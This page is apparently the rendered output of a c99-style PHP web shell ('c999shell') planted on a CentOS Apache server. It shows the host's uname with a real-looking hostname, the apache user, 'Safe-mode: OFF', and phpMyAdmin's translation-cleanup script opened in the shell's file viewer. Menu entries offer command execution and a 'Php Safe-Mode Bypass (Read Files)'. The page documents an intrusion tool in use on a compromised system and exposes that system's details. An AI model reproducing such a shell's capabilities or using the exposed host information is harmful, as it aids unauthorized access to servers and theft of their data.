Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/scripts/ drwxr-xr-x |
Viewing file: Select action/file-type: #!/bin/sh # # Removes mo files for incomplete translations # set -e # # How many percent needs to be translated # THRESHOLD=50 # # Generated output file # TMPOUTPUTFILE=libraries/language_stats.inc.php.tmp OUTPUTFILE=libraries/language_stats.inc.php if [ ! -z "$1" ] ; then THRESHOLD=$1 fi echo ' $TMPOUTPUTFILE echo '/* Automatically generated file, do not edit! */' >> $TMPOUTPUTFILE echo '/* Generated by scripts/remove-incomplete-mo */' >> $TMPOUTPUTFILE echo '' >> $TMPOUTPUTFILE echo '$GLOBALS["language_stats"] = array (' >> $TMPOUTPUTFILE check() { TMPOUTPUTFILE=$2 lang=`echo $1 | sed 's@po/\(.*\)\.po@\1@'` STATS=`LC_ALL=C msgfmt --statistics -o /dev/null $1 2>&1` if echo $STATS | grep -q ' translated ' ; then TRANSLATED=`echo $STATS | sed 's/\(^\|.* \)\([0-9]*\) translated.*/\2/'` else TRANSLATED=0 fi if echo $STATS | grep -q ' fuzzy ' ; then FUZZY=`echo $STATS | sed 's/\(^\|.* \)\([0-9]*\) fuzzy.*/\2/'` else FUZZY=0 fi if echo $STATS | grep -q ' untranslated ' ; then UNTRANSLATED=`echo $STATS | sed 's/\(^\|.* \)\([0-9]*\) untranslated.*/\2/'` else UNTRANSLATED=0 fi PERCENT=`expr 100 \* $TRANSLATED / \( $TRANSLATED + $FUZZY + $UNTRANSLATED \) || true` echo " '$lang' => $PERCENT," >> $TMPOUTPUTFILE if [ $PERCENT -lt $THRESHOLD ] ; then echo "Removing $lang, only $PERCENT%" rm -f locale/$lang/LC_MESSAGES/phpmyadmin.mo fi } for x in po/*.po ; do check $x $TMPOUTPUTFILE done echo ');' >> $TMPOUTPUTFILE echo '?>' >> $TMPOUTPUTFILE mv $TMPOUTPUTFILE $OUTPUTFILE |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0138 ]-- |